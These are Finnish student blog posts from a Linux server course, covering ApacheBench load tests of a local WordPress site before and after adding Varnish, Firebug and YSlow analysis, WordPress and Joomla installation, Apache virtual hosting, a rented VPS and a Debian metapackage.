Linux Palvelimena kotitehtävä #7 | Optimointia

Linux Palvelimena kotitehtävä #7 |

Seitsemännen kotitehtävän tehtävänanto on seuraavanlainen:

h7 optimointia. Lue koko tehtävänanto ja vinkit seuraavasta kommentista ennen kuin ryhdyt työhön. Kuormitustyökaluja saa käyttää ainoastaan omaan koneeseen.
Tee ja raportoi:
– Mittaa omalla koneellasi olevan WordPress-sivun ja samanlaisen staattisen sivun nopeuseroa ‘ab’ työkalulla.
– Asenna Varnish. Mittaa jonkin dynaamisen weppisivun (wordpress tms) suorituskyky ennen ja jälkeen asennuksen. Kuinka suuren hyödyn saat?
Tee ainakin kaksi seuraavista:
a) Muuta jotain Varnishin asetusta VCL-kielellä (esim iso-kuvat suoraan läpi – ei välimuistiin)
b) Analysoi ja nopeuta weppisivua YSlow -lisäkkeen avulla
c) Analysoi ja nopeuta weppisivua Firebug -lisäkkeen Net-välilehden avulla
d) Etsi jokin nopeuden analysoinnissa auttava palvelu wepistä ja käytä sitä
Vinkkejä:
Kuormitustyökaluja (esim ‘ab’) saa käyttää vain omiin koneisiin. Toisten koneiden tai verkkojen häiritseminen kuormitustyökaluilla tulkitaan helposti palvelunestohyökkäykseksi, joten olkaa huolellisia. Helpoin osoite kirjoittaa oikein on “localhost”.
Mittaaminen on optimoinnissa tärkeintä. Ilman mittausta optimointi on pelkkää woodoota ja taikauskoa. Kun mittaat weppipalvelimen suorituskykyä, katso, että palvelin on vastannut jokaiseen hakupyyntöön. Ei varmaankaan ole hyötyä, että palvelin pystyy palvelemaan 20 ziljoonaa virheilmoitusta sekunnissa (Failed requests).
Wepistä löytyy paljon eritasoisia ja -laatuisia ohjeita Apachen optimointiin ja Varnishin käyttöön.
https://eliimatt.wordpress.com/tag/suorituskyky/

Apache 2 performance boost with varnish & YSlow


https://encrypted.google.com/search?q=karvinen+varnish
Jossain edistyneessä ohjeessa automatisoidaan asennuksia Puppetilla, mutta sitä opetellaan vasta “Linuxin keskitetty hallinta” kurssilla, eikä tarvita tässä.
Wordpressin temppuilut:
– Jos uuden WordPress-version sisäänrakennettu välimuisti pienentää eroa etusivulla, tee uusi bloggaus ja mittaa suorituskyky tältä alasivulta.
– Jos uusi WordPress kieltää Cachen, ks
http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013#comment-19506

Tehtävä tehdään Virtualboxissa pyörivällä Xubuntu 13.10:lla jossa on jo asennettu LAMP-server ja WordPress.

Käynnistetään kone ja päivitetään pakettivarastot komennolla

$ sudo apt-get update

Kokeiltuani ab-komentoa, minua ystävällisesti kehoitettiin asentamaan se, näin siis teemme.

$ sudo apt-get install apache2-utils

Mitataan ab:lla wordpress-sivustoa.

$ ab -c 500 -n 1000 http://localhost/wordpress/

Kyseisellä kommenolla simuloidaan sitä, jos tulisi 500 HTTP-yhteydellä 1000 HTTP-pyyntöä.

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
apr_socket_recv: Connection reset by peer (104)
esa@xubVbox:/var/www$ ab -c 500 -n 1000 http://localhost/wordpress/
This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /wordpress/
Document Length: 8837 bytes

Concurrency Level: 500
Time taken for tests: 64.551 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 9096000 bytes
HTML transferred: 8837000 bytes
Requests per second: 15.49 [#/sec] (mean)
Time per request: 32275.418 [ms] (mean)
Time per request: 64.551 [ms] (mean, across all concurrent requests)
Transfer rate: 137.61 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 19 112.6 9 1000
Processing: 3658 18032 18873.2 9044 64534
Waiting: 3319 17695 18925.2 8653 64527
Total: 3669 18051 18870.5 9062 64546

Percentage of the requests served within a certain time (ms)
50% 9062
66% 9464
75% 12708
80% 34448
90% 64400
95% 64459
98% 64506
99% 64514
100% 64546 (longest request)

Keskimäärin 15 pyyntöä sekunnissa WordPressin kuormittamiseen.

Seuraavaksi kokeillaan samaa kuormitusta yksittäiseen postaukseen.

$ ab -c 500 -n 1000 http://localhost/wordpress/?p=4/

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /wordpress/?p=4/
Document Length: 10617 bytes

Concurrency Level: 500
Time taken for tests: 56.493 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 10935000 bytes
HTML transferred: 10617000 bytes
Requests per second: 17.70 [#/sec] (mean)
Time per request: 28246.267 [ms] (mean)
Time per request: 56.493 [ms] (mean, across all concurrent requests)
Transfer rate: 189.03 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 34 163.8 9 1001
Processing: 3565 15696 14897.8 9523 56474
Waiting: 2743 14735 15003.6 8364 56235
Total: 3576 15731 14889.9 9568 56487

Percentage of the requests served within a certain time (ms)
50% 9568
66% 9951
75% 13878
80% 30767
90% 30870
95% 56442
98% 56469
99% 56481
100% 56487 (longest request)

Pyynnössä kesti todella kauan verrattuna ensimmäiseen. En tiedä minkä takia huomattavasti hitaammin tällä kertaa, vain noin 18 pyyntöä sekunnissa kun edellisessä oli yli kaksi tuhatta.

Kokeillaan vielä kuormitusta johonkin yksinkertaiseen staattiseen sivuun.

$ ab -c 500 -n 1000 http://localhost/~esa/index.php

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /~esa/index.php
Document Length: 74478 bytes

Concurrency Level: 500
Time taken for tests: 3.427 seconds
Complete requests: 1000
Failed requests: 103
(Connect: 0, Receive: 0, Length: 103, Exceptions: 0)
Write errors: 0
Total transferred: 74667882 bytes
HTML transferred: 74477882 bytes
Requests per second: 291.78 [#/sec] (mean)
Time per request: 1713.600 [ms] (mean)
Time per request: 3.427 [ms] (mean, across all concurrent requests)
Transfer rate: 21276.22 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 5 5.5 0 14
Processing: 7 699 932.2 236 3413
Waiting: 3 639 947.2 169 3413
Total: 17 704 935.3 237 3424

Percentage of the requests served within a certain time (ms)
50% 237
66% 311
75% 471
80% 1731
90% 1821
95% 3404
98% 3421
99% 3422
100% 3424 (longest request)

Noin 300 pyyntöä sekunnissa, paljon ripeämmin kuin yksittäisen blogipostauksen kuormitukseen.

Varnishin asentaminen

Asennus onnistuu seuraavanlaisesti

$ sudo apt-get install varnish -y

Koska itsellä ei ole harmainta aavistusta, mikä on Varnish, täytyy jostain katsoa tarkemmin mitä kaikkea pitää tehdä jotta saisi sen toimimaan.

$ sudoedit /etc/apache2/ports.conf

Lisätään Listen 80 rivin perään 80.

Listen 8080

$ sudoedit /etc/default/varnish

Muokattiin seuraavaa riviä

DAEMON_OPTS=”-a :6081 \

Ja uusi rivi näyttää tältä.

DAEMON_OPTS=”-a :80 \

Käynnistetään Apache ja Varnish uudestaan

$ sudo service apache2 restart
$ sudo service varnish restart

Kokeillaan nyt samoja kuormitustestejä kuin ennen Varnishin asennusta.

$ ab -c 500 -n 1000 http://localhost/wordpress/

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /wordpress/
Document Length: 8837 bytes

Concurrency Level: 500
Time taken for tests: 0.261 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 9155989 bytes
HTML transferred: 8837000 bytes
Requests per second: 3831.96 [#/sec] (mean)
Time per request: 130.482 [ms] (mean)
Time per request: 0.261 [ms] (mean, across all concurrent requests)
Transfer rate: 34263.08 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 10 10.2 17 24
Processing: 31 98 38.4 91 237
Waiting: 29 94 38.0 85 233
Total: 32 108 43.5 92 253

Percentage of the requests served within a certain time (ms)
50% 92
66% 113
75% 141
80% 148
90% 182
95% 193
98% 200
99% 202
100% 253 (longest request)

Kuormitus kesti 0,261 sekuntia, kun taas ennen Varnishia testi kesti yli minuutin. Kokeillaan vielä yksittäiseen WordPress postaukseen ja staattiseen sivustoon tehdä kuormitustestit.

Yksittäiseen blogipostaukseen kuormitustestaus.

$ ab -c 500 -n 1000 http://localhost/wordpress/?p=4/

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /wordpress/?p=4/
Document Length: 10617 bytes

Concurrency Level: 500
Time taken for tests: 0.367 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 10994989 bytes
HTML transferred: 10617000 bytes
Requests per second: 2723.12 [#/sec] (mean)
Time per request: 183.613 [ms] (mean)
Time per request: 0.367 [ms] (mean, across all concurrent requests)
Transfer rate: 29238.93 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 8 8.5 12 22
Processing: 10 67 40.3 69 264
Waiting: 8 63 39.5 64 264
Total: 10 75 46.4 78 264

Percentage of the requests served within a certain time (ms)
50% 78
66% 99
75% 116
80% 125
90% 135
95% 140
98% 142
99% 152
100% 264 (longest request)

Staattisen sivuston kuormitustestaus

$ ab -c 500 -n 1000 http://localhost/~esa/index.php

This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests

Server Software: Apache/2.4.6
Server Hostname: localhost
Server Port: 80

Document Path: /~esa/index.php
Document Length: 75163 bytes

Concurrency Level: 500
Time taken for tests: 0.516 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Total transferred: 75412989 bytes
HTML transferred: 75163000 bytes
Requests per second: 1938.32 [#/sec] (mean)
Time per request: 257.956 [ms] (mean)
Time per request: 0.516 [ms] (mean, across all concurrent requests)
Transfer rate: 142748.18 [Kbytes/sec] received

Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 9 9.3 14 24
Processing: 5 195 79.3 232 481
Waiting: 5 161 73.4 197 321
Total: 27 205 71.8 234 503

Percentage of the requests served within a certain time (ms)
50% 234
66% 247
75% 254
80% 258
90% 269
95% 276
98% 289
99% 293
100% 503 (longest request)

Hyvin kummallista todeta, että staattisen sivun kuormittamisessa meni kaikista eniten aikaa.

Firebug

Lisätään Firebug-lisäosa Firefoxiin
Tools → Add-ons
kirjoitetaan hakukenttään Firebug ja sen pitäisi listautua ensimmäisenä, asennetaan.

Klikataan Firebugia ja vaihdetaan asetuksia niin, että käyttöliittymä on erillisessä ikkunassa. Firebug UI Location → Detached

Kun saadaan Firebugin käyttöliittymä auki, mennään Net välilehdellä ja painetaan Enable.

Mennään osoitteeseen localhost/wordpress ja katsotaan mitä tietoa Firebug on saanut kerätttyä.

firebug_1
Kuten jotain kuvasta voi päätellä, on verkkosivun hakemiseen kulunut 35 millisekuntia ja muihin siihen liittyviin liitännäisiin muutamia millisekunteja.
Jos sivustolla olisi ollut jotain kuvatiedostoja, olisi varmasti niiden latausaika ollut kaikista suurin.

YSlow

YSlow löytyy samasta paikasta kun Firebug, eli add-ons kohdasta. Kirjoitetaan siihen yslow ja asennetaan tuorein versio joka näytti olevan 3.1.8. Asennus vaatii selaimen uudelleen käynnistämisen.

YSlow löytyy Firebug ohjelmasta Yslow välilehdeltä. Ajetaan testi kun WordPress sivu on auki.

yslow_1

Yhteisarvosanaksi saadaan 90 / 100 ja kaikki paitsi kaksi kohtaa on saanut kouluarvosanan A.

Grade F on Use a Content Delivery Network (CDN)

There are 6 static components that are not on CDN.

You can specify CDN hostnames in your preferences. See YSlow FAQ for details.

fonts.googleapis.com: 1 component, 1.7K (0.4K GZip)

Herjaa kuudesta staattisesta komponentista jota ei löydy CDN:stä.

Grade F on Add Expires headers

There are 7 static components without a far-future expiration date.

Web pages are becoming increasingly complex with more scripts, style sheets, images, and Flash on them. A first-time visit to a page may require several HTTP requests to load all the components. By using Expires headers these components become cacheable, which avoids unnecessary HTTP requests on subsequent page views. Expires headers are most often associated with images, but they can and should be used on all page components including scripts, style sheets, and Flash.

Lähteet:

https://eliimatt.wordpress.com/tag/suorituskyky/
http://www.yolinux.com/TUTORIALS/WebServerBenchmarking.html
http://anttiwirman.com/2014/03/17/linux-palvelimena-ict4tn003-11-ja-12-kevaalla-2014-kotitehtava-7/

Kuormittaminen ja Varnishin asentaminen sekä suorituskyvyn mittaus

Apache 2 performance boost with varnish & YSlow

Linux Palvelimena kotitehtävä #6 | WordPress & Joomla

Moi!

Linux Palvelimena kurssin kuudennen kotitehtävän tehtävänanto on seuraavanlainen:

h6:
– Asenna WordPress (alkaen tilanteesta, jossa LAMP on asennettu)
– Kirjoita esimerkkisisältöä
Tee ja raportoi neljä seuraavista:
– Ota järkevät URLit (permalinks) käyttöön
– Vaihda teema
– Varmuuskopioi sisältö
– Palauta varmuuskopioitu sisältö puhtaaseen WordPress-asennukseen
– Tee WordPressiin oma teema
– Asenna WordPressiin plugin (esim Dofollow)
– Asenna Drupal ja kokeile sitä
– Asenna Joomla ja kokeile sitä
– Tee WordPressiin oma plugin
– Lisää kuvia WordPressiin (ja laita tämä toimimaan)
– Laita WordPress nimipohjaiseen virtuaalipalvelimeen (http://thello.foo tms)
– Jos sinulla on oma virtuaalipalvelin, tee sille http://dot.tk nimi (kokeile jollain vähäarvoisella nimellä
– Vaikea: Tee esimerkkisivu Ruby on Rails (tuotantotyyppinen, ei pelkkä yhden käyttäjän testipalvelin)
– Vaikea: Tee esimerkkisivu Python Django:lla (tuotantotyyppinen, ei pelkkä yhden käyttäjän testipalvelin)

Harjoitus tehdään taas Xubuntu 13.10:llä jota ajetaan VirtualBoxin kautta.

Dokumentointi alkaa poikkeuksellisesti vasta LAMP:n asennuksen jälkeen. (apt-get install lamp-server^)

Aloitetaan lataamalla viimeisin versio WordPressistä ja purkamalla tarballi.

$ wget http://wordpress.org/latest.tar.gz

$ tar -xzvf latest.tar.gz

Luodaan WordPressille tietokanta ja käyttäjä.

Kirjaudutaan rootilla tietokantaan.

$ mysql -u root -p

mysql> CREATE DATABASE wordpress;
Query OK, 1 row affected (0.00 sec)

mysql> CREATE USER esa@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> SET PASSWORD FOR esa@localhost= PASSWORD(“xxxxx*”);
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT ALL PRIVILEGES ON wordpress.* TO esa@localhost IDENTIFIED BY ‘xxxxx*’;
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

* (xxxxx = laitetaan siis tähän kohtaan ystävällisesti jokin vahva salasana)

Määritellään WordPress konfiguraatiot.

$ cp ~/wordpress/wp-config-sample.php ~/wordpress/wp-config.php
$ sudo nano ~/wordpress/wp-config.php

Muokataan seuraavia rivejä ja tallennetaan tiedosto.

define(‘DB_NAME’, ‘wordpress’);

/** MySQL database username */
define(‘DB_USER’, ‘esa’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘xxxxx);

Kopioidaan wordpress hakemisto /var/www/ hakemistoon.

$ sudo cp -R wordpress/ /var/www/

$ cd /var/www/

Annetaan apache-käyttäjälle omistajuus ko. Hakemistoon.

$ sudo chown esa:www-data /var/www/ -R
$ sudo chmod g+w /var/www/ -R

Viimeistellään itse WordPressin asennus. Selaimella osoitteeseen localhost/wordpress

wp_install_gui

Ta-daa, WordPress toimii.

Permalinkkien käyttöönotto.

Vaihdetaan permalinkit asetuksista. Otetaan vaihtoehto “post name”, eli esimerkki url olisi http://localhost/wordpress/sample-post/

Tallennetaan vaihtoehto ja luodaan esimerkkipostaus.

Testipostaus #1 on tehty ja jostain syystä tuo äskeinen permalink muutos ei toimi.

Katsotaan josko ystävämme Google auttaisi meitä tässä asiassa..

.. potentiaalinen ohje löytyy, testataan toimiiko. (http://wordpress.org/support/topic/how-to-fix-permalink-postname-404-not-found)

Mennään hakemistoon mihin asensimme WordPressin ja tehdään ohjeiden mukaisesti .htaccess tiedosto ja vaihetaan oikeuksia.

$ cd /var/www/wordpress/
$ sudo touch .htaccess
$ sudo chmod 666 .htaccess
$ sudo chown www-data:www-data .htaccess

Tässä vaiheessa ohjetta luki, että pitää käydä vaihtamassa permalink takaisin oletukseen ja takaisin haluttuun.

Katsotaan .htaccess tiedoston sisältöä

$ less .htaccess

# BEGIN WordPress

RewriteEngine On
RewriteBase /wordpress/
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]

# END WordPress

$ sudo a2enmod rewrite
$ sudo service apache2 restart

Kuitenkaan tämänkään jälkeen permalinkit eivät toimi.. Google paljastaa, että AllowOwerride hakemistossa /var/www on poissa käytöstä ja se pitäisi sallia.

$ cd /etc/apache2/

$ sudoedit apache2.conf

Options Indexes FollowSymLinks
AllowOverride None
Require all granted

Muutetaan → AllowOverride All

Käynnistetään Apache uudestaan

$ sudo service apache2 restart

Katsotaan WordPressistä, jos nyt toimisi permalinkit.

wp_permlink_working

Toimii!

Teeman vaihtaminen onnistuu WordPressin hallintapaneelista. Appearance – Themes. Oletuksena löytyy kolme teemaa ja valitsemme niistä Twenty Thirteen nimisen simppelisti painamalla “Activate” kyseessä olevan teeman kohdalta.

theme_changed_wp

DoFollow-pluginin asennus (https://kimmo.suominen.com/sw/dofollow/)

DoFollow niminen plugin saadaan asennettua seuraavanlaisesti.

$ cd /var/www/wordpress/wp-content/plugins/
$ wget https://kimmo.suominen.com/sw/dofollow/dofollow.php

WordPress hallintapaneelista kohtaan Plugins ja DoFollow näkyy listassa, painetaan Activate ja Plugin on onnistuneesti käytössä.

Joomlan asennus

Luodaan tilapäinen hakemisto johon ladataan Joomlan tarballi.

$ mkdir temp
$ cd temp/

$ wget http://joomlacode.org/gf/download/frsrelease/17410/76021/Joomla_2.5.7-Stable-Full_Package.tar.gz

Puretaan se /var/www hakemistoon

$ sudo tar zxvf Joomla_2.5.7-Stable-Full_Package.tar.gz -C /var/www

Luodaan configuration.php tiedosto ja muutetaan tilapäisesti oikeuksia.

$ sudo touch /var/www/configuration.php
$ sudo chmod 777 /var/www/configuration.php

Luodaan tietokanta nimeltä joomla.

$ mysql -u root -p

CREATE DATABASE joomla;
Query OK, 1 row affected (0.00 sec)
mysql> CREATE USER juser@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> SET PASSWORD FOR juser@localhost= PASSWORD(“xxxxx”);
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON joomla.* TO juser@localhost IDENTIFIED BY ‘xxxxx’;
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

exit

Tämän jälkeen localhost selaimeen ja aukeaa Joomla. Määritysten jälkeen sanotaan, että pitää deletoida installation kansio. Sen poistin /var/www/ hakemistosta.

$ sudo rm -rf /var/www/installation

Ja muutin oikeudet takaisin tuohon configuration.php tiedostoon.

$ sudo chmod 755 /var/www/configuration.php

Kuitenkaan, jostain syystä en pääse kirjautumaan minun joomla sivulleni vaikka käyttäjän olen luonut.

joomla_wp

WordPressin asentaminen omalle VPS:lle

Koska edellisen kotitehtävän takia hommasin oman VPS:n, päätin myös ostaa halvalla domainin ja asentaa WordPressin myös sinne. Asennus onnistui juurikin noilla ohjeilla, paitsi AllowOverride oli toisessa paikkaa. (/etc/apache2/sites-available/default)

Virtuaalipalvelimella myös pyörii irssi jota käytän luonnollisesti siis irkkaamiseen.

Lähteet:

https://codex.wordpress.org/Installing_WordPress#Detailed_Instructions
https://www.digitalocean.com/community/articles/how-to-install-wordpress-on-ubuntu-12-04
http://stackoverflow.com/questions/12410921/permalinks-in-wordpress-page-not-found
http://wordpress.org/support/topic/how-to-fix-permalink-postname-404-not-found
https://kimmo.suominen.com/sw/dofollow/
https://www.digitalocean.com/community/articles/how-to-install-joomla-on-a-virtual-server-running-ubuntu-12-04
https://help.ubuntu.com/community/ApacheMySQLPHP
https://www.digitalocean.com/community/questions/wordpress-permalinks-broken
https://www.digitalocean.com/community/questions/ubuntu-12-04-lamp-wordpress-htaccess-errors

Linux Palvelimena kotitehtävä #5 | Apache name based virtual hosting & VPS

Moi!

Tällä kertaa Linux Palvelimena kurssin viidennen kotitehtävän tehtävänanto on seuraavanlainen

h5. Tee nimipohjainen virtuaalipalvelin Apachelle (name based virtual hosting). Muista laittaa sekä http://www.example.com että example.com. Voit simuloida asiakkaan nimipalvelua muuttamalla /etc/hosts -tiedostoa.
Kokeile virtuaalipalvelinta (VPS). Voit vuokrata palvelimen esimerkiksi Linodelta, Amazonilta, DigitalOceanilta tai monista muista paikoista. Linodella ja Amazonilla saattaa olla myös ilmainen kokeilupaketti. Vaihtoehto: jos et jostain syystä halua vuokrata virtuaalipalvelinta, voit kokeilla tehdä oman vagrantilla.
http://www.linode.com/?r=16774ec53118157d3f5d6e9be9147875cdb167bb(associate-linkki, ilman: http://www.linode.com)
http://aws.amazon.com/vpc/
https://www.digitalocean.com/
h5. Vapaaehtoisia bonuksia
– Rekisteröi koneellesi nimi. Voit kokeilla jotain ilmaista palvelua, esim. http://www.dot.tk (en ole testannut tätä, kokeile jollain vähäarvoisella esimerkkinimellä).

Keskitytään aluksi tuohon nimipohjaisen virtuaalipalvelimen tekemiseen Apachelle.

Kuten viime kerroilla, myöskin tällä kertaa Xubuntun versio 13.10 pyörii VirtualBoxissa huikealla 2048 megatavun keskusmuistilla.

Aloitetaan tehtävän tekeminen päivittämällä pakettivaraston tarjonta taas uusimpaan kommennolla

$ sudo apt-get update

Asennetaan Apache ja sallitaan käyttäjien kotihakemistot.

$ sudo apt-get install apache2 -y

Tarkastetaan toimiiko pelkkä Apache menemällä selaimella http://localhost. It works! Elikkäs toimii.

$ sudo a2enmod userdir
Enabling module userdir.
To activate the new configuration, you need to run:
service apache2 restart
$ sudo service apache2 restart
* Restarting web server apache2

Katsotaan toimiiko käyttäjän kotihakemisto. Selaimeen joko koneen ip-osoite/~user tai sitten localhost/~user

$ firefox localhost/~esa

Saadaan selaimeen teksti virheilmoitus

Forbidden
You don’t have permission to access /~esa on this server.

Tietenkään kotihakemistot eivät toimi koska sellaisia ei ole luotu. Luodaan kansioon myös esimerkki html5-sivusto (http://terokarvinen.com/2012/short-html5-page)

$ cd
$ mkdir public_html
$ nano public_html/index.html

Kun on sisältöä html-tiedostossa

$ firefox localhost/~esa

apache_userdir_works

Hosts-tiedoston muokkaaminen.
Laitetaan tiedostoon /etc/hosts kaksi osoitetta, jotka viittaavat tähän tietokoneeseen.

$ sudoedit /etc/hosts

10.0.2.* eskola.local
10.0.2.* http://www.eskola.local

Kokeillaan selaimella kirjoittaa eskola.local ja tekstiksi tulee “It Works!”.

Luodaan eskola.local hakemisto public_html kansion alle.

$ mkdir public_html/eskola.local

Luodaan esimerkki html-sivu.

$ nano index.html

Tehdään ei-ehkä validoinnin selviävä tiedosto pikaisesti.

<!doctype html>

Is this working correctly?

 

Luodaan eskola.local.conf niminen tiedosto /etc/apache2/sites-available/ hakemistoon.

$ cd /etc/apache2/sites-available
$ sudo nano eskola.local.conf

Laitetaan sisällöksi

ServerName http://www.eskola.local
ServerAlias eskola.local
DocumentRoot /home/esa/public_html/eskola.local

Otetaan käyttöön sivu

$ sudo a2ensite eskola.local.conf
Enabling site eskola.local.
To activate the new configuration, you need to run:
service apache2 reload
$ sudo service apache2 reload
* Reloading web server apache2 *

$ firefox eskola.local

apache_virtual

Saadaan siis juuri luodun html sivuston sisältö ruutuun, eikä lävähdä apachen oletusilmoitus “It works”.

Tehtävässä oli hieman vaikeuksia etsiä tietoa mitä kaikkia tiedostoja pitäisi muokata ja luoda.
Onneksi kuitenkin suuntaa antavia neuvoja sai nohevilta HH-opiskelijoilta jotka tätä kurssia myös käyvät!

VPS:n hankkiminen

Opiskelijabudjetin takia en “raaskinut” (halunnut) hommata Linodelta Virtuaalipalvelinta, mutta tunnilla huhupuheen mukaan alle viidellä dollarilla, eli alle neljällä eurolla saisi kuukaudeksi käyttöön Digitaloceanista palvelimen.

Loin siis tunnukset DigitalOceaniin ja uhrasin 3,8€ jotta saan kuukauden leikkiä Virtuaalipalvelimella root-oikeuksien kera.

Sähköpostiin tuli palvelimen julkinen ip sekä rootin salasana.
Otin SSH-yhteyden palvelimeen ja vaihdoin rootin salasanan sekä loin käyttäjätunnuksen jotta ei tarvitse aina rootin oikeuksilla tehdä asioita.

Asensin palvelimelleni apachen ja sallin käyttäjähakemistot. Pitää vielä lähitulevaisuudessa kokeilla asentaa wordpress paikallisesti palvelimelle ja katsoa miten se toimii.

Rekisteröityminen DigitalOceaniin, palvelimen maksaminen ja pystyyn saaminen kesti vain muutaman minuutin. Plussaa oli myös se, että maksaminen onnistui PayPalin avulla.

Lähteet:

http://askubuntu.com/questions/265300/how-do-i-setup-name-based-virtual-hosts-using-ubuntu-12-04
http://kimstenberg.wordpress.com/
http://stackoverflow.com/questions/19518907/virtual-host-on-ubuntu-13-10-and-apache-2-4-6
http://terokarvinen.com/2012/short-html5-page
https://httpd.apache.org/docs/2.2/vhosts/name-based.html
https://www.digitalocean.com/

Linux Palvelimena kotitehtävä 4 | Metapaketti & Reprepro | Esa Eskola

Linux Palvelimena kotitehtävä #4

Harjoitus tehdään Xubuntun versiolla 13.10 joka pyörii VirtualBoxilla. Koneeseen on allokoitu keskusmuistia 2048MB ja yksi prosessorin ydin.
Tehtävänanto:

h4:
– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla
– Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn

Vapaaehtoiset bonus-tehtävät:
– Kertaa Apachen asennus, käyttäjien kotisivujen teko ja lokin lukeminen
– Allekirjoita reprerolla tekemäsi varasto

Aloitetaan jo tuttuun tapaan päivittämällä kaikki tarjolla olevat paketit kommenolla:

$ sudo apt-get update

Deb-paketin luominen

Ohjetta metapaketin luomisessa käytetään seuraavaa http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes

Ensimmäisenä pitää asentaa equivs niminen ohjelma joka onnistuu seuraavanlaisesti:

$ sudo apt-get install equivs

Tämän jälkeen luodaan source file.

$ equivs-control esas-programs.cfg

Ja editoidaan sen sisältöä:

$ nano esas-programs.cfg

Ohjeessa kerrotaan, että kohtia “Package”, “Version” ja “Depends” pitää muokata haluamallaan tavalla ja ottaa pois # rivien edestä.

Muokatut rivit:

Package: esas-programs

Version: 1.0

Depends: nmap, irssi, gedit

Paketin nimi on esas-programs, versio 1.0 ja ohjelmat jotka asentuvat ovat nmap, irssi ja gedit.

Rakennetaan deb-paketti tuosta .cfg tiedostosta

$ equivs-build esas-programs.cfg

Kokeillaan toimiiko deb-paketti

$ sudo gdebi -n esas-programs_1.0_all.deb

sudo: gdebi: command not found

Ja komentokehoite ystävällisesti ilmoittaa kyseisen ohjelman puuttumisen koneelta. Asennetaan se.

$ sudo apt-get install -y gdebi

Kokeillaan uudestaan..

$ equivs-build esas-programs.cfg

Tarkastuksen jälkeen katsotaan löytyykö asennetut ohjelmat. Kirjoitetaan esimerkiksi terminaaliin ged ja täydennetään tabulatorilla. Gedit ja muut softat näyttää löytyvän koneelta, deb paketti toimii!

Vuorossa on tarkastaa, meneekö ohjelma läpi lintianista.

